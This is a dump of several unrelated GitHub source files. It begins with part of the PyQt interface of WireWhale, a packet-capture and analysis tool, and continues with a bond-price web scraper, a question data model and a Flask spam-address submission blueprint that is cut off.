old_font[\"font\"] = \"Lucida Sans Typewriter\"\n            if platform == \"Linux\":\n                font.setFamily(\"Noto Mono\")\n                old_font[\"font\"] = \"Noto Mono\"\n            font.setPointSize(11)\n            with open('data.json', 'w') as file_obj:\n                '''写入json文件'''\n                json.dump(old_font, file_obj)\n\n        #数据包显示框\n        self.info_tree = QTreeWidget(self.centralWidget)\n        self.info_tree.setFrameStyle(QFrame.Box | QFrame.Plain)\n        self.info_tree.setAutoScroll(True)\n        self.info_tree.setRootIsDecorated(False)\n        self.info_tree.setFont(font)\n        self.info_tree.setColumnCount(7)  #设置表格为7列\n        #固定行高，取消每次刷新所有行，避免更新数据时不流畅\n        self.info_tree.setUniformRowHeights(True)\n        #设置表头\n        self.info_tree.headerItem().setText(0, \"No.\")\n        self.info_tree.headerItem().setText(1, \"Time\")\n        self.info_tree.headerItem().setText(2, \"Source\")\n        self.info_tree.headerItem().setText(3, \"Destination\")\n        self.info_tree.headerItem().setText(4, \"Protocol\")\n        self.info_tree.headerItem().setText(5, \"Length\")\n        self.info_tree.headerItem().setText(6, \"Info\")\n        self.info_tree.setStyleSheet(\"background:transparent;\")\n        self.info_tree.setSortingEnabled(True)\n        self.info_tree.sortItems(0, Qt.AscendingOrder)\n        self.info_tree.setColumnWidth(0, 75)\n        self.info_tree.setColumnWidth(1, 130)\n        self.info_tree.setColumnWidth(2, 150)\n        self.info_tree.setColumnWidth(3, 150)\n        self.info_tree.setColumnWidth(4, 85)\n        self.info_tree.setColumnWidth(5, 60)\n        for i in range(7):\n            self.info_tree.headerItem().setBackground(i,\n                                                      QBrush(QColor(Qt.white)))\n        self.info_tree.setSelectionBehavior(\n            QTreeWidget.SelectRows)  #设置选中时为整行选中\n        self.info_tree.setSelectionMode(QTreeWidget.SingleSelection)  #设置只能选中一行\n        \"\"\"显示排序图标\"\"\"\n        self.info_tree.header().setSortIndicatorShown(True)\n        self.info_tree.clicked.connect(self.on_tableview_clicked)\n\n        #数据包详细内容显示框\n        self.treeWidget = QTreeWidget(self.centralWidget)\n        self.treeWidget.setAutoScroll(True)\n        self.treeWidget.setTextElideMode(Qt.ElideMiddle)\n        self.treeWidget.header().setStretchLastSection(True)\n        self.treeWidget.setStyleSheet(\"background:transparent; color:white;\")\n        self.treeWidget.header().hide()\n        self.treeWidget.setFont(font)\n        # 设为只有一列\n        self.treeWidget.setColumnCount(1)\n        self.treeWidget.setFrameStyle(QFrame.Box | QFrame.Plain)\n\n        #hex显示区域\n        self.hexBrowser = QTextBrowser(self.centralWidget)\n        self.hexBrowser.setText(\"\")\n        self.hexBrowser.setFont(font)\n        self.hexBrowser.setStyleSheet(\"background:transparent;  color:white;\")\n        self.hexBrowser.setFrameStyle(QFrame.Box | QFrame.Plain)\n\n        # 允许用户通过拖动三个显示框的边界来控制子组件的大小\n        self.splitter = QSplitter(Qt.Vertical)\n        self.splitter.addWidget(self.info_tree)\n        self.splitter.addWidget(self.treeWidget)\n        self.splitter.addWidget(self.hexBrowser)\n        self.verticalLayout.addWidget(self.splitter)\n\n        self.gridLayout.addLayout(self.verticalLayout, 1, 0, 1, 1)\n\n        #过滤器输入框\n        self.Filter = QLineEdit(self.centralWidget)\n        self.Filter.setPlaceholderText(\"Apply a capture filter … \")\n        self.Filter.setStyleSheet(\"background:white\")\n        self.Filter.setFont(font)\n        self.horizontalLayout.addWidget(self.Filter)\n\n        #过滤器按钮\n        self.FilterButton = QPushButton(self.centralWidget)\n        self.FilterButton.setText(\"开始\")\n        icon1 = QIcon()\n        icon1.addPixmap(QPixmap(\"img/go.png\"), QIcon.Normal, QIcon.Off)\n        self.FilterButton.setIcon(icon1)\n        self.FilterButton.setIconSize(QSize(20, 20))\n        self.FilterButton.setStyleSheet(\"background:white\")\n        self.FilterButton.clicked.connect(self.on_start_action_clicked)\n        self.horizontalLayout.addWidget(self.FilterButton)\n        \"\"\"\n           网卡选择框\n        \"\"\"\n        self.choose_nicbox = QComboBox(self.centralWidget)\n        self.choose_nicbox.setFont(font)\n        self.choose_nicbox.setStyleSheet(\"background:white; color:black;\")\n        self.horizontalLayout.addWidget(self.choose_nicbox)\n\n        self.horizontalLayout.setStretch(0, 8)\n        self.horizontalLayout.setStretch(1, 1)\n        self.horizontalLayout.setStretch(2, 4)\n        self.gridLayout.addLayout(self.horizontalLayout, 0, 0, 1, 1)\n        \"\"\"初始网卡复选框\"\"\"\n        row_num = len(keys)\n        self.choose_nicbox.addItem(\"All\")\n        for i in range(row_num):\n            self.choose_nicbox.addItem(keys[i])\n\n        self.setCentralWidget(self.centralWidget)\n        \"\"\"\n           顶部菜单栏\n        \"\"\"\n        self.menuBar = QMenuBar(self)\n        self.menuBar.setGeometry(QRect(0, 0, 953, 23))\n        self.menuBar.setAccessibleName(\"\")\n        self.menuBar.setDefaultUp(True)\n\n        self.menu_F = QMenu(self.menuBar)\n        self.menu_F.setTitle(\"文件(F)\")\n\n        self.edit_menu = QMenu(self.menuBar)\n        self.edit_menu.setTitle(\"编辑(E)\")\n\n        self.capture_menu = QMenu(self.menuBar)\n        self.capture_menu.setTitle(\"捕获(C)\")\n\n        self.menu_H = QMenu(self.menuBar)\n        self.menu_H.setTitle(\"帮助(H)\")\n\n        self.menu_Analysis = QMenu(self.menuBar)\n        self.menu_Analysis.setTitle(\"分析(A)\")\n\n        self.menu_Statistic = QMenu(self.menuBar)\n        self.menu_Statistic.setTitle(\"统计(S)\")\n        self.setMenuBar(self.menuBar)\n\n        #顶部工具栏\n        self.mainToolBar = QToolBar(self)\n        self.addToolBar(Qt.TopToolBarArea, self.mainToolBar)\n        self.statusBar = QStatusBar(self)\n        self.mainToolBar.setStyleSheet(\"background: #EDEDED;\")\n        self.mainToolBar.setMaximumHeight(25)\n        self.setStatusBar(self.statusBar)\n\n        #字体设置键\n        font_set = QAction(self)\n        font_set.setText(\"主窗口字体\")\n        font_set.triggered.connect(self.on_font_set_clicked)\n\n        #背景图片设置\n        change_border = QAction(self)\n        change_border.setText(\"背景图片\")\n        change_border.triggered.connect(self.on_change_border_clicked)\n\n        #开始键\n        self.start_action = QAction(self)\n        icon2 = QIcon()\n        icon2.addPixmap(QPixmap(\"img/start.png\"), QIcon.Normal, QIcon.Off)\n        self.start_action.setIcon(icon2)\n        self.start_action.setText(\"开始\")\n        self.start_action.setShortcut('F1')\n        self.start_action.triggered.connect(self.on_start_action_clicked)\n\n        #停止键\n        self.stop_action = QAction(self)\n        icon3 = QIcon()\n        icon3.addPixmap(QPixmap(\"img/stop.png\"), QIcon.Normal, QIcon.Off)\n        self.stop_action.setIcon(icon3)\n        self.stop_action.setText(\"停止\")\n        self.stop_action.setShortcut('F3')\n        self.stop_action.setDisabled(True)  #开始时该按钮不可点击\n        self.stop_action.triggered.connect(self.on_stop_action_clicked)\n\n        #暂停键\n        self.pause_action = QAction(self)\n        p_icon = QIcon()\n        p_icon.addPixmap(QPixmap(\"img/pause.png\"), QIcon.Normal, QIcon.Off)\n        self.pause_action.setIcon(p_icon)\n        self.pause_action.setText(\"暂停\")\n        self.pause_action.setShortcut('F2')\n        self.pause_action.setDisabled(True)  # 开始时该按钮不可点击\n        self.pause_action.triggered.connect(self.on_pause_action_clicked)\n\n        #重新开始键\n        self.actionRestart = QAction(self)\n        icon4 = QIcon()\n        icon4.addPixmap(QPixmap(\"img/restart.png\"), QIcon.Normal, QIcon.Off)\n        self.actionRestart.setIcon(icon4)\n        self.actionRestart.setText(\"重新开始\")\n        self.actionRestart.setShortcut('F4')\n        self.actionRestart.setDisabled(True)  # 开始时该按钮不可点击\n        self.actionRestart.triggered.connect(self.on_actionRestart_clicked)\n\n        #更新数据键\n        self.action_update = QAction(self)\n        icon5 = QIcon()\n        icon5.addPixmap(QPixmap(\"img/update.png\"), QIcon.Normal, QIcon.Off)\n        self.action_update.setIcon(icon5)\n        self.action_update.setText(\"继续更新\")\n        self.action_update.setShortcut('F5')\n        self.action_update.setDisabled(True)\n        self.action_update.triggered.connect(\n            lambda: self.timer.start(flush_time) and self.action_update.setDisabled(True)\n        )\n\n        #帮助文档\n        action_readme = QAction(self)\n        action_readme.setText(\"使用文档\")\n        action_about = QAction(self)\n        action_about.setText(\"关于\")\n        action_about.triggered.connect(self.on_action_about_clicked)\n\n        #打开文件键\n        action_openfile = QAction(self)\n        action_openfile.setText(\"打开\")\n        action_openfile.setShortcut(\"ctrl+O\")\n        action_openfile.triggered.connect(self.on_action_openfile_clicked)\n\n        #保存文件键\n        action_savefile = QAction(self)\n        action_savefile.setText(\"保存\")\n        action_savefile.setShortcut(\"ctrl+S\")\n        action_savefile.triggered.connect(self.on_action_savefile_clicked)\n\n        #退出键\n        self.action_exit = QAction(self)\n        self.action_exit.setCheckable(False)\n        self.action_exit.setText(\"退出\")\n        self.action_exit.triggered.connect(self.on_action_exit_clicked)\n        self.action_exit.setShortcut('ctrl+Q')\n        self.action_exit.setStatusTip('退出应用程序')\n\n        #构造包\n        self.forged_action = QAction(self)\n        self.forged_action.setText(\"伪造包\")\n        self.forged_action.setShortcut('F7')\n        self.forged_action.triggered.connect(self.forged_action_clicked)\n\n        #流量监测\n        self.action_track = QAction(self)\n        self.action_track.setText(\"流量监测\")\n        self.action_track.setShortcut('F6')\n        self.action_track.triggered.connect(self.on_action_track_clicked)\n\n        #IP地址类型统计图\n        self.IP_statistics = QAction(self)\n        self.IP_statistics.setText(\"IP地址类型统计\")\n        self.IP_statistics.triggered.connect(self.on_IP_statistics_clicked)\n\n        #报文类型统计图\n        self.message_statistics = QAction(self)\n        self.message_statistics.setText(\"报文类型统计\")\n        self.message_statistics.triggered.connect(\n            self.on_message_statistics_clicked)\n        \"\"\"\n           添加工具栏：开始，暂停，停止，重新开始\n        \"\"\"\n        self.mainToolBar.addAction(self.start_action)\n        self.mainToolBar.addAction(self.pause_action)\n        self.mainToolBar.addAction(self.stop_action)\n        self.mainToolBar.addAction(self.actionRestart)\n        self.mainToolBar.addAction(self.action_update)\n\n        self.menu_F.addAction(action_openfile)\n        self.menu_F.addAction(action_savefile)\n        self.menu_F.addAction(self.action_exit)\n        self.menu_F.showFullScreen()\n\n        self.edit_menu.addAction(font_set)\n        self.edit_menu.addAction(change_border)\n\n        #捕获菜单栏添加子菜单\n        self.capture_menu.addAction(self.start_action)\n        self.capture_menu.addAction(self.pause_action)\n        self.capture_menu.addAction(self.stop_action)\n        self.capture_menu.addAction(self.actionRestart)\n\n        self.menu_H.addAction(action_readme)\n        self.menu_H.addAction(action_about)\n\n        self.menu_Analysis.addAction(self.forged_action)\n        self.menu_Analysis.addAction(self.action_track)\n\n        self.menu_Statistic.addAction(self.IP_statistics)\n        self.menu_Statistic.addAction(self.message_statistics)\n\n        self.menuBar.addAction(self.menu_F.menuAction())\n        self.menuBar.addAction(self.edit_menu.menuAction())\n        self.menuBar.addAction(self.capture_menu.menuAction())\n        self.menuBar.addAction(self.menu_Analysis.menuAction())\n        self.menuBar.addAction(self.menu_Statistic.menuAction())\n        self.menuBar.addAction(self.menu_H.menuAction())\n\n        # self.statusBar.showMessage('实时更新的信息', 0)  # 状态栏本身显示的信息 第二个参数是信息停留的时间，单位是毫秒，默认是0（0表示在下一个操作来临前一直显示）\n        \"\"\"底部状态栏\n            利用self.comNum.setText()实时更新状态栏信息\n        \"\"\"\n        self.comNum = QLabel('下载速度：')\n        self.baudNum = QLabel('上传速度:')\n        self.getSpeed = QLabel('收包速度：')\n        self.sendSpeed = QLabel('发包速度：')\n        self.netNic = QLabel('Welcome to WireWhale! ^ _ ^')\n        self.statusBar.setStyleSheet(\"background: #EDEDED;\")\n        \"\"\"各个单元空间占比\"\"\"\n        self.statusBar.addPermanentWidget(self.netNic, stretch=2)\n        self.statusBar.addPermanentWidget(self.getSpeed, stretch=1)\n        self.statusBar.addPermanentWidget(self.sendSpeed, stretch=1)\n        self.statusBar.addPermanentWidget(self.comNum, stretch=1)\n        self.statusBar.addPermanentWidget(self.baudNum, stretch=1)\n\n        QMetaObject.connectSlotsByName(self)\n        self.core = Core(self)\n        # 设置定时器将抓包列表置底\n        self.timer = QTimer(self)\n        self.timer.timeout.connect(self.info_tree.scrollToBottom)\n        self.show()\n\n    \"\"\"\n        重写窗口关闭事件\n    \"\"\"\n\n    def closeEvent(self, QCloseEvent):\n        def close_to_do():\n            self.core.clean_out()\n            if self.Monitor and self.Monitor.is_alive():\n                self.Monitor.terminate()\n            if self.Forged and self.Forged.is_alive():\n                self.Forged.terminate()\n            exit()\n\n        if self.core.start_flag or self.core.pause_flag:\n            # 没有停止抓包\n            reply = QMessageBox.question(\n                self, 'Message', \"您是否要停止捕获，并保存已捕获的分组?\\n警告：若不保存，您捕获的分组将会丢失\",\n                QMessageBox.Save | QMessageBox.Close | QMessageBox.Cancel,\n                QMessageBox.Cancel)\n            if reply == QMessageBox.Cancel:\n                QCloseEvent.ignore()\n            if reply == QMessageBox.Close:\n                self.core.stop_capture()\n                close_to_do()\n            elif reply == QMessageBox.Save:\n                self.core.stop_capture()\n                self.on_action_savefile_clicked()\n                close_to_do()\n        elif self.core.stop_flag and not self.core.save_flag:\n            \"\"\"\n                已停止，但没有保存文件\n            \"\"\"\n            reply = QMessageBox.question(\n                self, 'Message', \"您是否保存已捕获的分组?\\n警告：若不保存，您捕获的分组将会丢失\",\n                QMessageBox.Save | QMessageBox.Close | QMessageBox.Cancel,\n                QMessageBox.Cancel)\n            if reply == QMessageBox.Cancel:\n                QCloseEvent.ignore()\n            elif reply == QMessageBox.Save:\n                self.on_action_savefile_clicked()\n                close_to_do()\n            else:\n                close_to_do()\n        elif self.core.save_flag or not self.core.start_flag:\n            \"\"\"\n                未工作状态\n            \"\"\"\n            reply = QMessageBox.question(self, 'Message', \"您是否要退出本程序?\",\n                                         QMessageBox.Yes | QMessageBox.No,\n                                         QMessageBox.No)\n            if reply == QMessageBox.Yes:\n                close_to_do()\n            else:\n                QCloseEvent.ignore()\n\n    \"\"\"绘制背景\"\"\"\n\n    def paintEvent(self, a0: QPaintEvent):\n        painter = QPainter(self)\n        pixmap = QPixmap(\"img/Whale1.jpg\")\n        painter.drawPixmap(self.rect(), pixmap)\n\n    \"\"\"\n       数据包视图 数据记录点击事件\n       点击列表中一条记录时，在下面的frame框中显示帧的详细信息\n    \"\"\"\n\n    def on_tableview_clicked(self):\n        selected_row = self.info_tree.currentItem().text(0)  #当前选择的编号\n        #表格停止追踪更新\n        if selected_row and selected_row.isdigit():\n            self.timer.stop()\n            self.show_infoTree((int)(selected_row))\n            if not self.core.pause_flag and not self.core.stop_flag:\n                self.action_update.setDisabled(False)\n\n    \"\"\"\n        展开帧的详细信息\n    \"\"\"\n\n    def show_infoTree(self, selected_row):\n        \"\"\"\n           清空Frame Information内容\n        \"\"\"\n        self.treeWidget.clear()\n        \"\"\"\n           添加树节点\n           Item1: 第一层树节点\n           Item1_1: 第二层树节点，Item1的子节点\n           QTreeWidgetItem(parentNode, text)   parentNode:父节点  text：当前节点内容\n        \"\"\"\n        parentList, childList, hex_dump = self.core.on_click_item(selected_row)\n        p_num = len(parentList)\n        for i in range(p_num):\n            item1 = QTreeWidgetItem(self.treeWidget)\n            item1.setText(0, parentList[i])\n            c_num = len(childList[i])\n            for j in range(c_num):\n                item1_1 = QTreeWidgetItem(item1)\n                item1_1.setText(0, childList[i][j])\n        self.set_hex_text(hex_dump)\n\n    \"\"\"\n       获取当前选择的网卡\n    \"\"\"\n\n    def get_choose_nic(self):\n        card = self.choose_nicbox.currentText()\n        self.netNic.setText('当前网卡：' + card)\n        if (card == 'All'):\n            a = None\n        elif platform == 'Windows':\n            a = netcards[card]\n        elif platform == 'Linux':\n            a = card\n        else:\n            a = None\n        return a\n\n    \"\"\"\n       设置hex区文本\n    \"\"\"\n\n    def set_hex_text(self, text):\n        self.hexBrowser.setText(text)\n\n    \"\"\"\n        设置字体点击事件\n    \"\"\"\n\n    def on_font_set_clicked(self):\n        font, ok = QFontDialog.getFont()\n        if ok:\n            with open('data.json', 'r') as file_obj:\n                '''读取json文件'''\n                old_font = json.load(file_obj)  # 返回列表数据，也支持字典\n            old_font[\"font\"] = font.family()\n            old_font[\"size\"] = font.pointSize()\n            with open('data.json', 'w') as file:\n                json.dump(old_font, file)\n            self.info_tree.setFont(font)\n            self.treeWidget.setFont(font)\n            self.hexBrowser.setFont(font)\n\n    \"\"\"\n        设置背景图片\n    \"\"\"\n\n    def on_change_border_clicked(self):\n        imgName, imgType = QFileDialog.getOpenFileName(\n            self, \"打开图片\", \"C:/\", \"*.jpg;;*.png;;All Files(*)\")\n        with open('data.json', 'r') as file_obj:\n            '''读取json文件'''\n            old_image = json.load(file_obj)  # 返回列表数据，也支持字典\n        old_image[\"imageUrl\"] = imgName\n        with open('data.json', 'w') as file:\n            json.dump(old_image, file)\n        window_pale = QPalette()\n        window_pale.setBrush(self.backgroundRole(), QBrush(QPixmap(imgName)))\n        self.setPalette(window_pale)\n\n    \"\"\"\n       开始键点击事件\n    \"\"\"\n\n    def on_start_action_clicked(self):\n        if self.core.stop_flag:\n            # 重新开始清空面板内容\n            self.info_tree.clear()\n            self.treeWidget.clear()\n            self.set_hex_text(\"\")\n        self.core.start_capture(self.get_choose_nic(), self.Filter.text())\n        \"\"\"\n           点击开始后，过滤器不可编辑，开始按钮、网卡选择框全部设为不可选\n           激活暂停、停止键、重新开始键\n        \"\"\"\n        self.start_action.setDisabled(True)\n        self.Filter.setEnabled(False)\n        self.FilterButton.setEnabled(False)\n        self.choose_nicbox.setEnabled(False)\n        self.actionRestart.setDisabled(False)\n        self.pause_action.setEnabled(True)\n        self.stop_action.setEnabled(True)\n        self.timer.start(flush_time)\n\n    \"\"\"\n       暂停事件点击事件\n    \"\"\"\n\n    def on_pause_action_clicked(self):\n        self.core.pause_capture()\n        \"\"\"\n           激活开始、停止、重新开始键、过滤器、网卡选择框\n        \"\"\"\n        self.start_action.setEnabled(True)\n        self.stop_action.setDisabled(False)\n        self.actionRestart.setDisabled(False)\n        self.Filter.setDisabled(True)\n        self.FilterButton.setDisabled(True)\n        self.choose_nicbox.setDisabled(False)\n        self.pause_action.setDisabled(True)\n        self.action_update.setDisabled(True)\n        self.timer.stop()\n\n    \"\"\"\n           菜单栏停止键点击事件\n    \"\"\"\n\n    def on_stop_action_clicked(self):\n        self.core.stop_capture()\n        \"\"\"\n            激活开始键、重新开始键、过滤器、网卡选择框\n        \"\"\"\n        self.stop_action.setDisabled(True)\n        self.pause_action.setDisabled(True)\n        self.start_action.setEnabled(True)\n        self.Filter.setDisabled(False)\n        self.FilterButton.setDisabled(False)\n        self.choose_nicbox.setDisabled(False)\n        self.action_update.setDisabled(True)\n        self.timer.stop()\n\n    \"\"\"\n       重新开始键响应事件\n    \"\"\"\n\n    def on_actionRestart_clicked(self):\n        # 重新开始清空面板内容\n        self.timer.stop()\n        self.core.restart_capture(self.get_choose_nic(), self.Filter.text())\n        self.info_tree.clear()\n        self.treeWidget.clear()\n        self.set_hex_text(\"\")\n        \"\"\"\n           点击开始后，过滤器不可编辑，开始按钮，网卡选择框全部设为不可选\n           激活暂停、停止键、重新开始键\n        \"\"\"\n        self.actionRestart.setDisabled(False)\n        self.start_action.setDisabled(True)\n        self.Filter.setEnabled(False)\n        self.FilterButton.setEnabled(False)\n        self.choose_nicbox.setEnabled(False)\n        self.pause_action.setEnabled(True)\n        self.stop_action.setEnabled(True)\n        self.timer.start(flush_time)\n\n    \"\"\"\n        IP地址类型统计图绘制\n    \"\"\"\n\n    def on_IP_statistics_clicked(self):\n        IP = self.core.get_network_count()\n        IPv4_count = IP[\"ipv4\"]\n        IPv6_count = IP[\"ipv6\"]\n        IP_count = IPv4_count + IPv6_count\n        if IP_count == 0:\n            reply = QMessageBox.information(self, \"提示\", \"你还没有抓包！\",\n                                            QMessageBox.Cancel)\n\n        else:\n            IPv4_fre = IPv4_count / IP_count\n            IPv6_fre = IPv6_count / IP_count\n            data = {\n                'IPv4': (IPv4_fre, '#7199cf'),\n                'IPv6': (IPv6_fre, '#4fc4aa'),\n            }\n\n            fig = plt.figure(figsize=(6, 4))\n\n            # 创建绘图区域\n            ax1 = fig.add_subplot(111)\n            ax1.set_title('IPv4 & IPv6 Statistical Chart')\n\n            # 生成x轴的每个元素的位置，列表是[1,2,3,4]\n            xticks = np.arange(1, 3)\n\n            # 自定义柱状图的每个柱的宽度\n            bar_width = 0.6\n\n            IP_type = data.keys()\n            values = [x[0] for x in data.values()]\n            colors = [x[1] for x in data.values()]\n\n            # 画柱状图，设置柱的边缘为透明\n            bars = ax1.bar(xticks, values, width=bar_width, edgecolor='none')\n\n            # 设置y轴的标签\n            ax1.set_ylabel('Proportion')\n\n            ax1.set_xticks(xticks)\n            ax1.set_xticklabels(IP_type)\n\n            # 设置x,y轴的范围\n            ax1.set_xlim([0, 3.5])\n            ax1.set_ylim([0, 1])\n\n            # 给每一个bar分配颜色\n            for bar, color in zip(bars, colors):\n                bar.set_color(color)\n            plt.show()\n\n    \"\"\"\n        数据包类型数量统计\n    \"\"\"\n\n    def on_message_statistics_clicked(self):\n        trans = self.core.get_transport_count()\n\n        TCP_count = trans[\"tcp\"]\n        UDP_count = trans[\"udp\"]\n        ARP_count = trans[\"arp\"]\n        ICMP_count = trans[\"icmp\"]\n\n        if TCP_count + UDP_count + ARP_count + ICMP_count == 0:\n            reply = QMessageBox.information(self, \"提示\", \"你还没有抓包！\",\n                                            QMessageBox.Cancel)\n\n        else:\n\n            labels = 'TCP', 'ICMP', 'UDP', 'ARP'\n            fracs = [TCP_count, ICMP_count, UDP_count, ARP_count]\n            explode = [0.1, 0.1, 0.1, 0.1]  # 0.1 凸出这部分，\n            plt.axes(\n                aspect=1\n            )  # set this , Figure is round, otherwise it is an ellipse\n            # autopct ，show percet\n            plt.pie(\n                x=fracs,\n                labels=labels,\n                explode=explode,\n                autopct='%3.1f %%',\n                shadow=True,\n                labeldistance=1.1,\n                startangle=90,\n                pctdistance=0.6)\n            plt.show()\n\n    \"\"\"\n        打开文件事件\n    \"\"\"\n\n    def on_action_openfile_clicked(self):\n        if self.core.start_flag or self.core.pause_flag:\n            QMessageBox.warning(self, \"警告\", \"请停止当前抓包！\")\n            return\n        self.core.open_pcap_file()\n\n    \"\"\"\n       保存文件点击事件\n    \"\"\"\n\n    def on_action_savefile_clicked(self):\n        if self.core.start_flag or self.core.pause_flag:\n            QMessageBox.warning(self, \"警告\", \"请停止当前抓包！\")\n            return\n        self.core.save_captured_to_pcap()\n\n    \"\"\"\n       菜单栏追踪流键点击事件\n    \"\"\"\n\n    def on_action_track_clicked(self):\n        if not self.Monitor or not self.Monitor.is_alive():\n            self.Monitor = Process(target=start_monitor)\n            self.Monitor.start()\n\n    ''\n\n    def forged_action_clicked(self):\n        if not self.Forged or not self.Forged.is_alive():\n            self.Forged = Process(target=startForged)\n            self.Forged.start()\n\n    about = \"软件著作者：张桓皓 张兴\\n\\n\" + \"软件主要功能如下：\\n\" + \"1. 侦听指定网卡或所有网卡，抓取流经网卡的数据包；\\n\" + \"2. 解析捕获的数据包每层的每个字段，查看数据包的详细内容；\\n\" + \"3. 可通过不同的需求设置了BPF过滤器，获取指定地址、端口或协议等相关条件的报文；\\n\" + \"4. 针对应用进行流量监测，监测结果实时在流量图显示，并可设置流量预警线，当流量超过预警线时自动报警；\\n\" + \"5. 提供了以饼状图的形式统计ARP、TCP、UDP、ICMP报文，以柱状图的形式统计IPv4、IPv6报文；\\n\" + \"6. 可将抓取到的数据包另存为pcap文件，并能通过打开一个pcap文件对其中的数据包进行解析；\\n\" + \"7. 可逐层逐字段构造数据包，实现自定义数据包发送。\\n\\n\" + \"解释权归著作者所有\"\n\n    def on_action_about_clicked(self):\n        QMessageBox.information(self, \"关于\", self.about)\n\n    \"\"\"\n       退出点击事件\n    \"\"\"\n\n    def on_action_exit_clicked(self, event):\n        self.closeEvent(event)\n\n    \"\"\"\n        进度加载框\n        num: 加载数据数量\n    \"\"\"\n\n    def showDialog(self, num):\n        progress = QProgressDialog(self)\n        progress.setWindowTitle(\"请稍等\")\n        progress.setLabelText(\"正在加载数据...\")\n        progress.setCancelButtonText(\"取消\")\n        progress.setMinimumDuration(1)  #进度条加载时间\n        progress.setWindowModality(Qt.WindowModal)\n        progress.setRange(0, num)\n        for i in range(num):\n            progress.setValue(i)\n            if progress.wasCanceled():\n                QMessageBox.warning(self, \"提示\", \"操作失败\")\n                break\n        progress.setValue(num)\n        QMessageBox.information(self, \"提示\", \"操作成功\")\n\n    \"\"\"键盘点击事件\"\"\"\n\n    def keyReleaseEvent(self, event):\n        if event.key() == Qt.Key_Up or event.key() == Qt.Key_Down:\n            self.timer.stop()\n            selected_row = self.info_tree.currentItem().text(0)\n            if selected_row and selected_row.isdigit():\n                self.show_infoTree(int(selected_row))\n                self.action_update.setDisabled(False)\n        if event.key() == Qt.Key_F5:\n            self.timer.start(flush_time)\n            self.action_update.setDisabled(True)\n\n\ndef start():\n    app = QApplication([])\n    ui = Ui_MainWindow()\n    ui.setupUi()\n    app.exec()\n","repo_name":"zhanghuanhao/WireWhale","sub_path":"main_ui.py","file_name":"main_ui.py","file_ext":"py","file_size_in_byte":30378,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"77"}
+{"seq_id":"32051446237","text":"import requests\nimport re\nimport locale\nfrom bs4 import BeautifulSoup as soap\n\nlocale.setlocale(locale.LC_ALL, 'en_US.UTF-8')\nresults = {}\n\n\ndef main():\n    url = 'https://www.borsaitaliana.it/borsa/azioni/' \\\n          'obbligazioni-convertibili/dati-completi.html?isin=IT0005256059&lang=en'\n\n    isin = re.search(r'isin=(\\w+)', url, re.I).group(1)\n    resource = requests.get(url)\n    if not resource.text:\n        print('Page is not found: ' + url)\n        return ''\n\n    content = resource.text\n    # f = open('D:/Documents/test.html', 'w')\n    # f.write(resource.text)\n    # f.close()\n    # file = open('D:/Documents/test.html', 'r')\n    # content = file.read()\n    # file.close()\n\n    doc = soap(content, 'html.parser')\n    rows = doc.find_all(string=re.compile('Stream Prices'))[0].find_parent('table').find_all('tr')\n    if not rows:\n        print('Table is empty')\n        return\n\n    columns = {}\n    columns_counter = 0\n    patterns = {\n        r'Stream\\s+Prices': 'stream',\n        r'No': 'number',\n        r'Bid\\s+Quantity': 'bid_quantity',\n        r'Ask\\s+Quantity': 'ask_quantity',\n        r'Bid\\s+Price': 'bid',\n        r'Ask\\s+Price': 'ask',\n    }\n\n    keys = results.keys()\n    for row in rows:\n        if columns_counter < 5:\n            columns = get_columns(row, patterns.items())\n            columns_counter = columns.__len__()\n            continue\n\n        for column, index in columns.items():\n            value = row.find_all('td')[index].text.strip()\n            if not value:\n                continue\n\n            value = locale.atof(value)\n            if value:\n                if isin in keys:\n                    results[isin][column] = value\n                else:\n                    results[isin] = {column: value}\n\n    print(results)\n\n\ndef get_columns(row, patterns, tag='th'):\n    columns = {}\n    index = 0\n    for cell in row.find_all(tag):\n        for pattern, column in patterns:\n            if re.findall(pattern, cell.text, re.I):\n                columns[column] = index\n        index += 1\n\n    return columns\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"SolistTV/myPythonTests","sub_path":"PythonApplication1/PythonApplication1.py","file_name":"PythonApplication1.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41196058150","text":"from datetime import datetime\nfrom typing import Optional\n\nfrom server.model.base import Model\n\n\ndef iso8601(timestamp: datetime):\n    return timestamp.strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n\n\nclass Question(Model):\n    db_name = 'questions'\n\n    schema = {\n        'user_id': str,\n        'article_id': str,\n        'question': str,\n        'answer': Optional[str],\n        'created_at': datetime,\n        'answered_at': Optional[datetime],\n    }\n\n    field_formats = {\n        'created_at': iso8601,\n        'answered_at': lambda x: iso8601(x) if x else str(x),\n    }\n","repo_name":"Taller-2/app-server","sub_path":"server/model/question.py","file_name":"question.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"40667572726","text":"import os\nfrom flask import Blueprint, request, flash, render_template, send_file, jsonify\nfrom models import *\nfrom forms import SpammerForm\nimport utils\n\nspamsub = Blueprint(\n    'spamsub',\n    __name__,\n    template_folder='templates'\n    )\n\n@spamsub.route('/', methods=['GET', 'POST'])\ndef index():\n    \"\"\" Index page \"\"\"\n    count = Address.query.count()\n    form = SpammerForm()\n    # try to validate, and check for AJAX submission\n    if form.validate_on_submit():\n            if not utils.check_if_exists(form.address.data):\n                flash(\n                    u\"We've added %s to the database.\" % form.address.data,\n                    \"text-success\")\n            else:\n                flash(\n                    u\"We already know about %s, though.\" % form.address.data,\n                    \"text-success\")\n    if request.is_xhr:\n        # OK to send back a fragment\n        return render_template(\n            'form.jinja',\n            form=form,\n            )\n    # GET or no JS, so render a full page\n    return render_template(\n        'index.jinja',\n        form=form,\n        count=count,\n        recaptcha_public_key=app.config['RECAPTCHA_PUBLIC_KEY'])\n\n@spamsub.route('download', methods=['GET'])\ndef download():\n    \"\"\" Download the latest version of spammers.txt \"\"\"\n    utils.update_db()\n    return send_file(\n        os.path.join(utils.basename, \"git_dir/spammers.txt\"),\n        as_attachment=True,\n        attachment_filename=\"spammers.txt\")\n\n@spamsub.route('updates', methods=['GET'])\ndef updates():\n    \"\"\" Check for updates in GitHub repo if more than an hour's passed \"\"\"\n    vals = {\n        'last_updated': utils.sync_check(),\n        'count': Address.query.count(),\n        }\n    return 